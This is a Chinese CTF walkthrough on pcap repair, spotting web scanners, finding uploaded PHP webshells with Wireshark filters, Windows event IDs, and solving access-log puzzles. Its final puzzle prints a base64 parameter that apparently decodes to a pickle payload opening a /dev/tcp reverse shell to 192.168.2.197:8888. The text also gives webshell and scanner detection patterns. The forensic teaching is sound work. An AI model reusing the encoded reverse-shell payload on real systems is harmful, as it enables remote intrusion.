1.web流量分析
1.1 特点
通常会提供一个包含流量数据的 PCAP 文件,有时候也会需要先进行修复或重构传输文件后,再进行分析。
复杂的地方在于数据包里充满着大量无关的流量信息,因此如何分类和过滤数据是我们需要做的。
1.2 流量包修复
例题为i春秋第一届 “百度杯” 信息安全攻防总决赛 线上选拔赛:find the flag
该cap文件直接打开的话出现报错:
通过pcap在线修复工具进行流量包修复:pcapfix
在长度为72的流量中有提示:
这些流量中的字符反过来就是flag,反过来拼接就可以得到flag,这边找到一个师傅的脚本借鉴一下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# -- author:valecalida --
# Edit time: 2021/6/6 8:35
from pyshark import FileCapture
from binascii import a2b_hex
cap = FileCapture('cap.pcap', display_filter="tcp && frame.cap_len==72")
cap.load_packets()
content, link = '', ''
for i in range(0, len(cap), 2):link = cap[i].ip.id[-4:][2:] + cap[i].ip.id[-4:][:2]content += link
print(a2b_hex(bytes(content, encoding='utf-8')))
运行脚本拼接后的flag:
1.3 扫描分析
通过给出的流量包获取攻击者使用的WEB扫描工具。
如何快速发现是不是有扫描器扫描的痕迹。
一般最常用到的扫描器有WVS、nessus、APPscan、绿盟极光、sqlmap、dirsearch等等,所以我们就要了解这些扫描器本身的一些特征。
WVS扫描器通常默认情况下,会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样
Nessus扫描器默认情况下会包含nessus字样
APPscan默认情况下会包含APPscan字样
绿盟极光扫描器一般会包含nsfocus、Rsas字样
sqlmap大多情况下也会包含有sqlmap字样
例题:安恒八月月赛流量分析:黑客使用的是什么扫描器?
流量包很巨大,比我们一般CTF中遇到的都大,显然利用筛选功能才能找到使用了什么扫描器。
首先过滤http流量,发现“acunetix”:
有这个字样,猜测是WVS扫描器, WVS扫描器通常默认情况下,会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样。
为了验证猜测,使用语句 http contains "wvs"
或者 http contains "acunetix"
过滤一下,确定了黑客使用的扫描器为awvs。
1.4 WebShell上传
Webshell文件上传常采用post方法请求,获取流量包中记录的webshell可通过wireshark筛选出POST请求和关键字.
相关命令:http.request.method==“POST” && http contains == “关键字”
例题:安恒八月月赛流量分析:黑客上传的webshell文件名是?内容是什么?(依然是对webone.pcap进行流量分析)
因为是上传文件,有以下过滤规则:
post && 源地址 && 协议http
http.request.method=="POST" && ip.src==192.168.94.59 && http
如上图,过滤后看到异常:images里面存了a.php,推测就是黑客上传的WebShell。
追踪tcp流。发现使用php写的WebShell:
使用下面的语句过滤一下:
tcp contains "<?php @eval"
再追踪tcp流,最终找到了webshell的内容:
2.windows日志分析
2.1 什么是Windows日志?
Windows日志特指Windows操作系统中各种各样的日志文件,如应用程序日志,安全日志、系统日志。
2.1.1 系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
2.1.2 应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录。
默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
2.1.3 安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
2.1.4 事件ID字段
Log Name:存储事件的事件日志的名称,在处理从同一系统提取的大量日志时很有用。
Source:生成事件的服务,Microsoft组件或应用程序。
Event ID:分配给每种已审计活动类型的代码。
Level:分配给相关事件的严重性。
User:在记录事件时,触发活动或源正在运行的用户上下文的用户帐户。注意,该字段通常表示“系统”而不是记录事件原因的用户
OpCode:由生成日志的源分配
Logged:记录事件的本地系统日期和时间
Task Category:由生成日志的源分配
keywords:用于对事件进行分组或排序。
Computer:记录事件的计算机。当检查从多个系统收集的日志时,此功能很有用,但不应被视为导致事件的设备
Description:一个文本块,其中记录了特定于所记录事件的其他信息,对于取证人员来说,这通常是最重要的字段。
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,下面是一下常用到的事件ID:
事件ID | 说明 |
---|---|
1102 | 审核日志已清除 |
1104 | 安全日志现已满 |
4608 | Windows正在启动 |
4609 | Windows正在关闭 |
4616 | 系统时间已更改 |
4625 | 帐户无法登录 |
4624 | 帐户已成功登录 |
4634 | 帐户已注销 |
4647 | 用户启动的注销 |
4672 | 使用超级用户(如管理员)进行登录 |
4620 | 创建用户 |
4657 | 注册表值已修改 |
4741 | 已创建计算机帐户 |
4742 | 计算机帐户已更改 |
4743 | 计算机帐户已删除 |
2.2 日志分析
日志分析(问1)
这里我选择NotePad++打开文件access.log。
先选中全部内容,插件 → MIME tools → URL Decode
。
查找log中状态码为200的请求记录。搜索“200”:
源码文件名是www.zip,flag就为:NSSCTF{www.zip}。
日志分析(问2)
还是在那个日志文件access.log,Ctrl+F搜索/tmp,这就是文件名:
flag就是:NSSCTF{sess_car}。
日志分析(问3)
这里存在反序列化:
使用php函数进行反序列化有助于读懂语句:
<?php
$serializedData = 'a:1:{s:5:"/flag";s:13:"SplFileObject";}';// 使用unserialize函数进行反序列化
$data = unserialize($serializedData);// 输出反序列化后的结果
var_dump($data);
?>
如下就是反序列化后的内容:
易知,黑客使用的是_SplFileObject_类读取了秘密文件。
flag就是:NSSCTF{SplFileObject}。
简单日志分析(问1)
翻看log时就看到了异常参数user:
flag就是NSSCTF{user}。
简单日志分析(问2)
对这个user参数的base64解码时发现了绝对路径:
flag即是:NSSCTF{/Th4s_IS_VERY_Import_Fi1e}
简单日志分析(问3)
最后这个参数user中就是黑客反弹shell的ip和端口:
JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=
base64解码就得出:
flag就是:NSSCTF{192.168.2.197:8888}